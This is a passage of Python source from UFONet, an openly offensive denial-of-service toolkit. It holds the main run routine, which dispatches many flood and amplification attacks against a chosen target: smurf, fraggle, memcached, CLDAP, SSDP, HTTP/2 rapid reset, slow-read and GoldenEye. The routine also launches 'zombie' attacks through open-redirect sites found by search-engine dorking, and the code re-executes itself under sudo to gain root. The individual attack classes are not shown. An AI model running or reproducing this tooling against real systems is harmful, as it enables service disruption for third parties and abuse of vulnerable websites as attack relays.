  275. for i, (lr, rr) in enumerate(rows):
  276. ai = i + 3
  277. left_art = alien[ai] if ai < len(alien) else " " * 48
  278. print(left_art + cell(lr, rr))
  279. ai = len(rows) + 3
  280. left_art = alien[ai] if ai < len(alien) else " " * 48
  281. print(left_art + sep)
  282. ai += 1
  283. left_art = alien[ai] if ai < len(alien) else " " * 48
  284. empty_line = "||" + (" " * (L + 1 + R)) + "||"
  285. print(left_art + empty_line)
  286. ai += 1
  287. left_art = alien[ai] if ai < len(alien) else " " * 48
  288. url = " -> [ UFONet: https://ufonet.03c8.net ] <-"
  289. url_line = "||" + url.center(L + 1 + R) + "||"
  290. print(left_art + url_line)
  291. info = " + Class: PSYoPs / " + str(self.mothership_model) + " +"
  292. info = info.ljust(48)
  293. print(info + empty_line)
  294. print((" " * 48) + sep)
  295. print("")
  296. def banner(self):
  297. print('='*75, "\n")
  298. print("888 888 8888888888 .d88888b. 888b 888 888 ")
  299. print("888 888 888 d88P Y888b 8888b 888 888 ")
  300. print("888 888 888 888 888 88888b 888 888 ")
  301. print("888 888 8888888 888 888 888Y88b 888 .d88b. 888888 ")
  302. print("888 888 888 888 888 888 Y88b888 d8P Y8b 888 ")
  303. print("888 888 888 888 888 888 Y88888 88888888 888 ")
  304. print("Y88b. .d88P 888 Y88b. .d88P 888 Y8888 Y8b. Y88b. ")
  305. print(" 'Y88888P' 888 'Y88888P' 888 Y888 'Y8888 'Y8888")
  306. print(self.optionParser.description, "\n")
  307. print(self.optionParser.motto, "\n")
  308. print('='*75)
  309. def generate_exit_msg(self):
  310. self.exit_msg = "Generating random exit... \n\n"
  311. try:
  312. f = open(self.misc_file)
  313. m = f.readlines()
  314. f.close()
  315. self.exit_msg += " -> "+str(random.choice(m).strip())
  316. except:
  317. self.exit_msg += " -> Donate BTC (Bitcoin) to keep #UFONet (https://ufonet.03c8.net) strong!"
  318. def AI(self):
  319. try:
  320. import turtle as AI
  321. print("\n[AI] Making a unique drawing using 'Turtle' (Feurzig & Papert - 1966) -> [OK!]\n")
  322. colors = ['red', 'purple', 'blue', 'green', 'orange', 'yellow']
  323. bg = random.choice(colors).strip()
  324. t = AI.Pen()
  325. AI.bgcolor(bg)
  326. r = random.randrange(100,100000)
  327. for x in range(r):
  328. t.pencolor(colors[x%6])
  329. w = random.randrange(100,1000)
  330. t.width(x/w + 1)
  331. t.forward(x)
  332. l = random.randrange(50,1000)
  333. t.left(l)
  334. except:
  335. print("[AI] %!$1#9#84#~... -> [Exiting!]")
  336. pass
  337. def round_float(self, num):
  338. return str(int(round(num, -1)))[2] # black magic
  339. def _report_bug_hint(self, include_results=False):
  340. print('-' * 60)
  341. print(" [AI] Something seems off. If you think this is a bug,")
  342. print(" please open an issue at:")
  343. print(" https://github.com/epsylon/ufonet/issues/new?template=bug_report.md")
  344. print(" Use the local template as guidance:")
  345. print(" docs/.github/ISSUE_TEMPLATE/bug_report.md")
  346. if include_results:
  347. print(" Attach the test logs from:")
  348. print(" test/results/")
  349. print('-' * 60 + "\n")
  350. def _dump_bug_report_template(self, runner_stdout):
  351. import platform
  352. version = "2.0 (R3DST4R)"
  353. try:
  354. with open(os.path.join('docs', 'VERSION'), 'r', encoding='utf-8') as f:
  355. last = [l.strip() for l in f.readlines() if l.strip() and not l.strip().startswith(('Date', '-'))]
  356. if last:
  357. version = last[-1]
  358. except Exception:
  359. pass
  360. failed = []
  361. for line in (runner_stdout or '').splitlines():
  362. m = re.match(r'\[FAIL\]\s+(\S+).*?->\s+(\S+)', line)
  363. if m:
  364. failed.append((m.group(1), m.group(2)))
  365. logs = []
  366. for name, path in failed:
  367. try:
  368. with open(path, 'r', encoding='utf-8', errors='replace') as f:
  369. body = f.read()
  370. except Exception as e:
  371. body = "(could not read log: " + str(e) + ")"
  372. if len(body) > 4000:
  373. body = body[:2000] + "\n\n...[truncated]...\n\n" + body[-2000:]
  374. logs.append((name, path, body))
  375. cmd = ' '.join(sys.argv) or './ufonet --check-ufonet'
  376. print("=" * 70)
  377. print(" [AI] Pre-filled bug_report.md (copy & paste into the GitHub issue body)")
  378. print("=" * 70)
  379. print()
  380. print("**Describe the bug**")
  381. print("`--test-ufonet` reported test failures.")
  382. print()
  383. print("**To Reproduce**")
  384. print("1. Run `" + cmd + "`")
  385. print("2. See failing test(s): " + ", ".join(n for n, _ in failed) if failed else "2. See output")
  386. print()
  387. print("**Expected behavior**")
  388. print("All tests in `test/run.sh` should pass.")
  389. print()
  390. print("**Running environment:**")
  391. print(" - UFONet version: " + version)
  392. print(" - Installation method: git")
  393. print(" - Operating system: " + platform.platform())
  394. print(" - Python version: " + sys.version.splitlines()[0])
  395. print()
  396. print("**Target details:**")
  397. print(" - Attacking techniques: n/a (self-test)")
  398. print(" - WAF/IPS: n/a")
  399. print()
  400. print("**Error details:**")
  401. print(" - Failing tests: " + (", ".join(n for n, _ in failed) if failed else "(see logs)"))
  402. for name, path, body in logs:
  403. print()
  404. print("<details><summary>" + name + " (" + path + ")</summary>")
  405. print()
  406. print("```")
  407. print(body.rstrip())
  408. print("```")
  409. print()
  410. print("</details>")
  411. print()
  412. print("=" * 70)
  413. def show_mac_address(self):
  414. mac = getnode() # to get physical address
  415. hex_mac = str(":".join(re.findall('..', '%012x' % mac)))
  416. return hex_mac
  417. def _public_ip_via_dns(self):
  418. try:
  419. import dns.resolver
  420. except ImportError:
  421. from core._ensure import ensure
  422. if ensure('dns.resolver', 'dnspython') is None:
  423. return None
  424. import dns.resolver
  425. from core._dns_pool import random_opendns
  426. try:
  427. r = dns.resolver.Resolver()
  428. r.nameservers = random_opendns()
  429. r.timeout = 3
  430. r.lifetime = 5
  431. for ans in r.resolve('myip.opendns.com', 'A'):
  432. ip = str(ans).strip()
  433. if re.match(r'^\d+\.\d+\.\d+\.\d+$', ip):
  434. return ip
  435. except Exception:
  436. pass
  437. return None
  438. def _public_ip_via_http(self):
  439. import urllib.request
  440. services = [self.check_ip_service1, self.check_ip_service2, self.check_ip_service3,
  441. 'https://checkip.amazonaws.com', 'https://ident.me', 'https://api64.ipify.org']
  442. random.shuffle(services)
  443. ip_re = re.compile(r'^\s*(\d+\.\d+\.\d+\.\d+)\s*$')
  444. for url in services:
  445. try:
  446. txt = urllib.request.urlopen(url, timeout=5, context=self.ctx).read().decode('utf-8', errors='replace')
  447. m = ip_re.match(txt)
  448. if m:
  449. return m.group(1)
  450. m2 = re.search(r'\d+\.\d+\.\d+\.\d+', txt)
  451. if m2:
  452. return m2.group(0)
  453. except Exception:
  454. continue
  455. return None
  456. def show_ips(self):
  457. from core._dns_pool import random_dummy_host
  458. try:
  459. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  460. s.connect((random_dummy_host(), 80))
  461. private_ip = s.getsockname()[0]
  462. s.close()
  463. except Exception:
  464. private_ip = "Unknown"
  465. public_ip = self._public_ip_via_dns() or self._public_ip_via_http() or "Unknown"
  466. return private_ip, public_ip
  467. def try_running(self, func, error, args=None):
  468. options = self.options
  469. args = args or []
  470. try:
  471. return func(*args)
  472. except Exception as e:
  473. if DEBUG == True:
  474. print(error, "error")
  475. traceback.print_exc()
  476. def checkeuid(self):
  477. try:
  478. euid = os.geteuid()
  479. except:
  480. print("[Error] [AI] [UFONet] doesn't work correctly in systems with closed licenses...-> [Exiting!]\n")
  481. print("[AI] "+self.exit_msg+"\n")
  482. sys.exit(2) # return
  483. return euid
  484. def start_ship_engine(self):
  485. self.agents = [] # generating available user-agents
  486. f = open(self.agents_file)
  487. agents = f.readlines()
  488. f.close()
  489. for agent in agents:
  490. self.agents.append(agent)
  491. self.user_agent = random.choice(self.agents).strip()
  492. self.search_engines = [] # available dorking search engines
  493. self.search_engines.append('bing')
  494. self.search_engines.append('duck')
  495. self.search_engines.append('brave')
  496. self.search_engines.append('mojeek')
  497. self.search_engines.append('yahoo')
  498. self.search_engines.append('startpage')
  499. self.search_engines.append('ecosia')
  500. if not os.path.exists("core/json/"): # create gui json cfg files folder
  501. os.mkdir("core/json/")
  502. self.banner_welcome()
  503. if getattr(getattr(self, 'options', None), 'web', False):
  504. if getattr(self, '_shipname_new', False):
  505. print("[Info] [AI] Generating ship name: " + str(self.mothership_id).strip().upper())
  506. else:
  507. print("[Info] [AI] Shipname: " + str(self.mothership_id).strip())
  508. self.update_flying_stats() # update flying time stats
  509. chargo = self.check_mothership_chargo() # check mothership chargo
  510. self.update_max_chargo(int(chargo)) # update max chargo stats
  511. self.generate_exit_msg() # generate random exit msg
  512. def hmac_sha1(self, key, msg):
  513. if len(key) > 20:
  514. key = sha1(key).digest()
  515. key += chr(0).encode('utf-8') * (20 - len(key))
  516. o_key_pad = key.translate(self.trans_5C)
  517. i_key_pad = key.translate(self.trans_36)
  518. return sha1(o_key_pad + sha1(i_key_pad + msg).digest()).digest()
  519. def derive_keys(self, key):
  520. key = key.encode('utf-8')
  521. h = sha256()
  522. h.update(key)
  523. h.update('cipher'.encode('utf-8'))
  524. cipher_key = h.digest()
  525. h = sha256()
  526. h.update(key)
  527. h.update('mac'.encode('utf-8'))
  528. mac_key = h.digest()
  529. return (cipher_key, mac_key)
  530. def decrypt(self, key, text):
  531. KEY_SIZE = 32
  532. BLOCK_SIZE = 16
  533. MAC_SIZE = 20
  534. mode = AES.MODE_CFB
  535. try:
  536. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  537. except:
  538. try:
  539. padding = len(text) % 4
  540. if padding == 1:
  541. return ''
  542. elif padding == 2:
  543. text += b'=='
  544. elif padding == 3:
  545. text += b'='
  546. iv_ciphertext_mac = base64.urlsafe_b64decode(text)
  547. except TypeError:
  548. return None
  549. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  550. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  551. mac = iv_ciphertext_mac[-MAC_SIZE:]
  552. (cipher_key, mac_key) = self.derive_keys(key)
  553. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  554. if mac != expected_mac:
  555. return None
  556. aes = AES.new(cipher_key, mode, iv)
  557. self.decryptedtext = aes.decrypt(ciphertext)
  558. try:
  559. self.decryptedtext = self.decryptedtext.decode('utf-8')
  560. except:
  561. pass
  562. def run(self, opts=None):
  563. if opts:
  564. self.create_options(opts)
  565. options = self.options
  566. options.download = False
  567. options.upload = False
  568. # start threads
  569. if not self.options.threads:
  570. self.options.threads=5 # default number of threads
  571. self.sem = threading.Semaphore(self.options.threads)
  572. # start ship engine
  573. self.start_ship_engine()
  574. # check proxy options
  575. proxy = options.proxy
  576. if options.proxy:
  577. try:
  578. pattern = r'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
  579. m = re.search(pattern, proxy)
  580. if m is None:
  581. self.banner()
  582. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  583. return
  584. else:
  585. self.proxy_transport(options.proxy) # create proxy transport (also here, to be sure)
  586. except Exception:
  587. self.banner()
  588. print ("\n[Error] [AI] Proxy malformed! (ex: 'http(s)://127.0.0.1:8118') -> [Exiting!]\n")
  589. return
  590. # check tor connection
  591. if options.checktor:
  592. url = self.check_tor_url # TOR status checking site
  593. self.banner()
  594. print("\nSending request to: " + url + "\n")
  595. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  596. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  597. try:
  598. if options.proxy: # set proxy
  599. self.proxy_transport(options.proxy)
  600. req = urllib.request.Request(url, None, headers)
  601. tor_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  602. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip() # extract public IP
  603. if not tor_reply or 'Congratulations' not in tor_reply:
  604. print("It seems that Tor is not properly set.\n")
  605. print(("IP address appears to be: " + your_ip + "\n"))
  606. else:
  607. print("Congratulations!. Tor is properly being used :-)\n")
  608. print(("IP address appears to be: " + your_ip + "\n"))
  609. except:
  610. print("Cannot reach TOR checker system!. Are you correctly connected?\n")
  611. sys.exit(2) # return
  612. # list available search engines
  613. if options.list_engines:
  614. self.banner()
  615. print("\n[Info] [AI] Available search engines for dorking ('--se <name>'):")
  616. print('='*48)
  617. for e in self.search_engines:
  618. print(" + " + e)
  619. print('='*48)
  620. print("\n[Info] [AI] Total: " + str(len(self.search_engines)) + " engines\n")
  621. print("[Info] [AI] Use 'all' or '--sa' to search across every engine. Use '--sax NAME' to exclude one.\n")
  622. return
  623. # run the UFONet test suite
  624. if options.testufonet:
  625. import subprocess
  626. self.banner()
  627. runner = os.path.join('test', 'run.sh')
  628. if not os.path.exists(runner):
  629. print("[Error] [AI] Test runner not found at: " + runner + " -> [Aborting!]\n")
  630. self._report_bug_hint()
  631. sys.exit(2)
  632. print("[Info] [AI] Launching UFONet test suite...")
  633. try:
  634. _date = subprocess.run(['date'], capture_output=True, text=True).stdout.strip()
  635. except Exception:
  636. _date = ''
  637. if _date:
  638. print("[Info] [AI] date: " + _date + "\n")
  639. else:
  640. print("")
  641. try:
  642. proc = subprocess.Popen(['bash', runner], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, bufsize=1)
  643. except FileNotFoundError:
  644. print("[Error] [AI] bash not available on this system -> [Aborting!]\n")
  645. self._report_bug_hint()
  646. sys.exit(2)
  647. _out_buf = []
  648. for _line in proc.stdout:
  649. sys.stdout.write(_line)
  650. sys.stdout.flush()
  651. _out_buf.append(_line)
  652. proc.wait()
  653. _full_out = ''.join(_out_buf)
  654. rc = proc.returncode
  655. print("\n[Info] [AI] Test suite finished with exit code: " + str(rc))
  656. if rc != 0:
  657. self._report_bug_hint(include_results=True)
  658. self._dump_bug_report_template(_full_out)
  659. else:
  660. print("[Info] [AI] All tests passed -> [OK!] :-)\n")
  661. sys.exit(rc)
  662. # run AES256+HMAC-SHA1 enc/dec tool
  663. if options.cryptomsg:
  664. from core.tools.crypter import Cipher
  665. print(" " + '='*44)
  666. print(r" ")
  667. print(r" ____...------------...____ ")
  668. print(r" _.-'' /o/__ ____ __ __ __ \o\_`'-._ ")
  669. print(r" .' / / \ \ '. ")
  670. print(r" |=====/o/======================\o\=====| ")
  671. print(r" |____/_/________..____..________\_\____| ")
  672. print(r" / _/ \_ <_o#\__/#o_> _/ \_ \ ")
  673. print(r" \__/_____\####/0213411543/####/_____\__/ ")
  674. print(r" |===\!/========================\!/===| ")
  675. print(r" | |=| .---. |=| | ")
  676. print(r" |===|o|=========/ \========|o|===| ")
  677. print(r" | | | \() ()/ | | | ")
  678. print(r" |===|o|======{'-.) A (.-'}=====|o|===| ")
  679. print(r" | __/ \__ '-.\\uuu/.-' __/ \__ | ")
  680. print(r" |==== .'.'^'.'.====|====.'.'^'.'.====| ")
  681. print(r" | _\o/ __ {.' __ '.} _ _\o/ _| ")
  682. print(r" '''''''''''''''''''''''''''''''''''''' ")
  683. print(r" + UFONet Crypter (AES256+HMAC-SHA1)")
  684. print(r" (140 plain text chars = 69 encrypted chars)")
  685. print(" " + '='*44 + "\n")
  686. text = str(input("-> Enter TEXT: "))
  687. input_key = str(input("\n-> Enter KEY: "))
  688. key = base64.b64encode(input_key.encode('utf-8')).decode('utf-8')
  689. c = Cipher(key, text)
  690. msg = c.encrypt()
  691. msg = msg.decode('utf-8')
  692. c.set_text(msg)
  693. print("\n" + " " + '-'*44)
  694. print('\n-> Ciphertext: [', msg, ']')
  695. print('\n-> Length:', len(msg))
  696. print("\n" + " " + '-'*44)
  697. print('\n-> Key (share it using SNEAKNET!):', input_key)
  698. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  699. # run shownet tool
  700. if options.shownet:
  701. hex_mac = self.show_mac_address()
  702. self.banner()
  703. print("-> Network Info:")
  704. print('='*44)
  705. print("-"*35)
  706. print("|- MAC Address :", hex_mac)
  707. print("|" +"-"*34)
  708. private_ip, public_ip = self.show_ips()
  709. print("|- IP Private :", private_ip)
  710. print("|" +"-"*34)
  711. self.check_ip_services = [self.check_ip_service1, self.check_ip_service2] # shuffle check ip services
  712. self.check_ip_service = random.choice(self.check_ip_services).strip() # shuffle user-agent
  713. t = urlparse(self.check_ip_service)
  714. name_service = t.netloc
  715. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  716. print("-"*35)
  717. print('='*75, "\n")
  718. return
  719. # run UFOSCAN tool (check EUID when running UFOSCAN)
  720. if options.xray:
  721. euid = self.checkeuid()
  722. if euid != 0:
  723. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  724. try:
  725. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  726. os.execlpe('sudo', *args)
  727. except:
  728. pass # keep running
  729. else:
  730. if not options.xrayps:
  731. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  732. ports = options.xrayps
  733. try:
  734. portX, portY = ports.split('-')
  735. try:
  736. portX = int(portX)
  737. portY = int(portY)
  738. except:
  739. portX = 1
  740. portY = 1024
  741. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  742. except:
  743. portX = 1
  744. portY = 1024
  745. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  746. self.banner()
  747. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  748. print('='*22 + '\n')
  749. try:
  750. self.instance = UFOSCAN() # instance main class for scanning operations
  751. xray = self.instance.scanning(options.xray, portX, portY)
  752. except Exception as e:
  753. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  754. if DEBUG == True:
  755. traceback.print_exc()
  756. return
  757. # show code timeline
  758. if options.timeline:
  759. f = open(self.timeline_file, 'r')
  760. releases = f.readlines()
  761. f.close()
  762. self.banner()
  763. print("-> Code timeline:")
  764. print('='*44)
  765. print("-"*35)
  766. for r in releases:
  767. print(r.strip('\n'))
  768. print("-"*35)
  769. print('='*75, "\n")
  770. return
  771. # print some examples
  772. if options.examples:
  773. f = open(self.examples_file, 'r')
  774. examples = f.readlines()
  775. f.close()
  776. self.banner()
  777. for e in examples:
  778. print(e.strip('\n'))
  779. return
  780. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  781. if options.ufosyn:
  782. euid = self.checkeuid()
  783. if euid != 0:
  784. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  785. try:
  786. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  787. os.execlpe('sudo', *args)
  788. except:
  789. pass # keep running, but UFOSYN will fail
  790. # check EUID when running SPRAY (root required)
  791. if options.spray:
  792. euid = self.checkeuid()
  793. if euid != 0:
  794. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  795. try:
  796. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  797. os.execlpe('sudo', *args)
  798. except:
  799. pass # keep running, but SPRAY will fail
  800. # check EUID when running SMURF (root required)
  801. if options.smurf:
  802. euid = self.checkeuid()
  803. if euid != 0:
  804. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  805. try:
  806. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  807. os.execlpe('sudo', *args)
  808. except:
  809. pass # keep running, but SMURF will fail
  810. # check EUID when running FRAGGLE (root required)
  811. if options.fraggle:
  812. euid = self.checkeuid()
  813. if euid != 0:
  814. print("[Info] [AI] [Control] [FRAGGLE] (--fraggle) not started as root...\n")
  815. try:
  816. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  817. os.execlpe('sudo', *args)
  818. except:
  819. pass # keep running, but FRAGGLE will fail
  820. # check EUID when running XMAS (root required)
  821. if options.xmas:
  822. euid = self.checkeuid()
  823. if euid != 0:
  824. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  825. try:
  826. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  827. os.execlpe('sudo', *args)
  828. except:
  829. pass # keep running, but XMAS will fail
  830. # check EUID when running UFOACK (root required)
  831. if options.ufoack:
  832. euid = self.checkeuid()
  833. if euid != 0:
  834. print("[Info] [AI] [Control] [UFOACK] (--ufoack) not started as root...\n")
  835. try:
  836. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  837. os.execlpe('sudo', *args)
  838. except:
  839. pass # keep running, but UFOACK will fail
  840. # check EUID when running UFORST (root required)
  841. if options.uforst:
  842. euid = self.checkeuid()
  843. if euid != 0:
  844. print("[Info] [AI] [Control] [UFORST] (--uforst) not started as root...\n")
  845. try:
  846. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  847. os.execlpe('sudo', *args)
  848. except:
  849. pass # keep running, but UFORST will fail
  850. # check EUID when running DROPER (root required)
  851. if options.droper:
  852. euid = self.checkeuid()
  853. if euid != 0:
  854. print("[Info] [AI] [Control] [DROPER] (--droper) not started as root...\n")
  855. try:
  856. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  857. os.execlpe('sudo', *args)
  858. except:
  859. pass # keep running, but DROPER will fail
  860. # check EUID when running OVERLAP (root required)
  861. if options.overlap:
  862. euid = self.checkeuid()
  863. if euid != 0:
  864. print("[Info] [AI] [Control] [OVERLAP] (--overlap) not started as root...\n")
  865. try:
  866. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  867. os.execlpe('sudo', *args)
  868. except:
  869. pass # keep running, but OVERLAP will fail
  870. # check EUID when running PINGER (root required)
  871. if options.pinger:
  872. euid = self.checkeuid()
  873. if euid != 0:
  874. print("[Info] [AI] [Control] [PINGER] (--pinger) not started as root...\n")
  875. try:
  876. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  877. os.execlpe('sudo', *args)
  878. except:
  879. pass # keep running, but PINGER will fail
  880. # check EUID when running UFOUDP (root required)
  881. if options.ufoudp:
  882. euid = self.checkeuid()
  883. if euid != 0:
  884. print("[Info] [AI] [Control] [UFOUDP] (--ufoudp) not started as root...\n")
  885. try:
  886. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  887. os.execlpe('sudo', *args)
  888. except:
  889. pass # keep running, but UFOUDP will fail
  890. # check EUID when running NUKE (root required)
  891. if options.nuke:
  892. euid = self.checkeuid()
  893. if euid != 0:
  894. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  895. try:
  896. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  897. os.execlpe('sudo', *args)
  898. except:
  899. pass # keep running, but NUKE will fail
  900. # check EUID when running TACHYON (root required)
  901. if options.tachyon:
  902. euid = self.checkeuid()
  903. if euid != 0:
  904. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  905. try:
  906. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  907. os.execlpe('sudo', *args)
  908. except:
  909. pass # keep running, but TACHYON will fail
  910. # check EUID when running MONLIST (root required)
  911. if options.monlist:
  912. euid = self.checkeuid()
  913. if euid != 0:
  914. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  915. try:
  916. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  917. os.execlpe('sudo', *args)
  918. except:
  919. pass # keep running, but MONLIST will fail
  920. # check EUID when running SNIPER (root required)
  921. if options.sniper:
  922. euid = self.checkeuid()
  923. if euid != 0:
  924. print("[Info] [AI] [Control] [SNIPER] (--sniper) not started as root...\n")
  925. try:
  926. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  927. os.execlpe('sudo', *args)
  928. except:
  929. pass # keep running, but SNIPER will fail
  930. # mod-only target: -m takes precedence over -a, and forces exit after firing (no zombie flow)
  931. _mod_target = getattr(options, 'mod_target', None)
  932. _attack_target = _mod_target or options.target
  933. _mods_fired = []
  934. _mods_skipped = []
  935. _banner_shown = False
  936. _zombie_thread = None
  937. _zombie_thread_started = False
  938. if options.target and not _mod_target and any([
  939. options.loic, options.loris, options.ufosyn, options.spray, options.smurf,
  940. options.fraggle, options.xmas, options.ufoack, options.uforst, options.droper,
  941. options.overlap, options.pinger, options.ufoudp, options.nuke, options.tachyon,
  942. options.monlist, options.sniper, options.dbstress,
  943. options.memcached, options.chargen, options.cldap, options.ssdp, options.qotd,
  944. options.tftp, options.wsdisco, options.coap, options.mssql, options.middlebox,
  945. options.finflood, options.arms, options.plex, options.netbios, options.ripv1,
  946. options.rapidreset, options.slowread, options.goldeneye,
  947. ]):
  948. try:
  949. from core._botnet import is_placeholder as _is_ph
  950. _zombies_parallel = self.extract_zombies() or []
  951. _zombies_parallel = [z for z in _zombies_parallel if not _is_ph(z)]
  952. if _zombies_parallel:
  953. options.target = self.parse_url_encoding(options.target)
  954. self.banner()
  955. _banner_shown = True
  956. def _zombie_run():
  957. try:
  958. self.attacking(_zombies_parallel, options.target)
  959. self.update_missions_stats()
  960. except Exception:
  961. if DEBUG:
  962. traceback.print_exc()
  963. _zombie_thread = threading.Thread(target=_zombie_run)
  964. _zombie_thread.daemon = True
  965. _zombie_thread.start()
  966. _zombie_thread_started = True
  967. else:
  968. self.banner()
  969. print("\n[Error] [AI] No real zombies found in botnet/zombies.txt (all placeholders).")
  970. print("[Info] [AI] Populate it via dorking: ./ufonet -s 'page.php?url=' (or --auto-search / --sd botnet/dorks.txt)")
  971. print("[Info] [AI] -> Skipping open-redirect attack; Extra Attack(s) (if any) will still run directly against the target.\n")
  972. except Exception:
  973. if DEBUG:
  974. traceback.print_exc()
  975. if _mod_target:
  976. _extras_present = any([
  977. options.loic, options.loris, options.ufosyn, options.spray, options.smurf,
  978. options.fraggle, options.xmas, options.ufoack, options.uforst, options.droper,
  979. options.overlap, options.pinger, options.ufoudp, options.nuke, options.tachyon,
  980. options.monlist, options.sniper, options.dbstress,
  981. options.memcached, options.chargen, options.cldap, options.ssdp, options.qotd,
  982. options.tftp, options.wsdisco, options.coap, options.mssql, options.middlebox,
  983. options.finflood, options.arms, options.plex, options.netbios, options.ripv1,
  984. options.rapidreset, options.slowread, options.goldeneye,
  985. ])
  986. if not _extras_present:
  987. self.banner()
  988. print('='*55)
  989. print("[Info] [AI] Mod-only mode -> [-m " + str(_mod_target) + "]")
  990. print('='*55)
  991. print("[Error] [AI] No Extra(s) attack provided. -m requires at least one mod -> [Aborting!]\n")
  992. print("[Info] [AI] Example: python3 ufonet -m 'http://target.com' --loic 50 --memcached 50\n")
  993. print("[Info] [AI] For the full list: python3 ufonet --help\n")
  994. sys.exit(2)
  995. from core._botnet import load_botnet_file as _has_real_targets
  996. def _has_real(path):
  997. entries, empty, all_ph = _has_real_targets(path)
  998. return entries and not empty and not all_ph
  999. # check EUID + dispatch for v2.0 raw-socket attack mods (root required, target via -a or -m)
  1000. _v2_raw = [
  1001. ('memcached', options.memcached, 'MEMCACHED', MEMCACHED),
  1002. ('chargen', options.chargen, 'CHARGEN', CHARGEN),
  1003. ('cldap', options.cldap, 'CLDAP', CLDAP),
  1004. ('ssdp', options.ssdp, 'SSDP', SSDP),
  1005. ('qotd', options.qotd, 'QOTD', QOTD),
  1006. ('tftp', options.tftp, 'TFTP', TFTP),
  1007. ('wsdisco', options.wsdisco, 'WSDISCO', WSDISCO),
  1008. ('coap', options.coap, 'COAP', COAP),
  1009. ('mssql', options.mssql, 'MSSQL', MSSQL),
  1010. ('middlebox', options.middlebox, 'MIDDLEBOX', MIDDLEBOX),
  1011. ('finflood', options.finflood, 'FINFLOOD', FINFLOOD),
  1012. ('arms', options.arms, 'ARMS', ARMS),
  1013. ('plex', options.plex, 'PLEX', PLEX),
  1014. ('netbios', options.netbios, 'NETBIOS', NETBIOS),
  1015. ('ripv1', options.ripv1, 'RIPV1', RIPV1),
  1016. ]
  1017. for _flag, _val, _label, _ in _v2_raw:
  1018. if _val:
  1019. if self.checkeuid() != 0:
  1020. print("[Info] [AI] [Control] [" + _label + "] (--" + _flag + ") not started as root...\n")
  1021. try:
  1022. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  1023. os.execlpe('sudo', *args)
  1024. except:
  1025. pass
  1026. _v2_raw_files = {
  1027. 'memcached': 'botnet/memcached.txt', 'chargen': 'botnet/chargen.txt',
  1028. 'cldap': 'botnet/cldap.txt', 'ssdp': 'botnet/ssdp.txt',
  1029. 'qotd': 'botnet/qotd.txt', 'tftp': 'botnet/tftp.txt',
  1030. 'wsdisco': 'botnet/wsdisco.txt', 'coap': 'botnet/coap.txt',
  1031. 'mssql': 'botnet/mssql.txt', 'middlebox': 'botnet/middlebox.txt',
  1032. 'arms': 'botnet/arms.txt', 'plex': 'botnet/plex.txt',
  1033. 'netbios': 'botnet/netbios.txt', 'ripv1': 'botnet/ripv1.txt',
  1034. 'finflood': None,
  1035. }
  1036. _v2_threads = []
  1037. for _flag, _val, _label, _cls in _v2_raw:
  1038. if _val and _attack_target:
  1039. try:
  1040. _rounds = int(_val)
  1041. except Exception:
  1042. _rounds = 101
  1043. if _rounds < 1:
  1044. _rounds = 101
  1045. _file = _v2_raw_files.get(_flag)
  1046. if _file and not _has_real(_file):
  1047. _mods_skipped.append(_flag)
  1048. _cls().attacking(_attack_target, _rounds)
  1049. continue
  1050. _mods_fired.append(_flag)
  1051. if not _banner_shown:
  1052. self.banner()
  1053. _banner_shown = True
  1054. _t = threading.Thread(target=_cls().attacking, args=(_attack_target, _rounds))
  1055. _t.daemon = True
  1056. _t.start()
  1057. _v2_threads.append((_flag, _t))
  1058. # v2.0 HTTP/TCP mods that do NOT need root (sockets, not raw)
  1059. _v2_http = [
  1060. ('rapidreset', options.rapidreset, 'RAPIDRESET', RAPIDRESET),
  1061. ('slowread', options.slowread, 'SLOWREAD', SLOWREAD),
  1062. ('goldeneye', options.goldeneye, 'GOLDENEYE', GOLDENEYE),
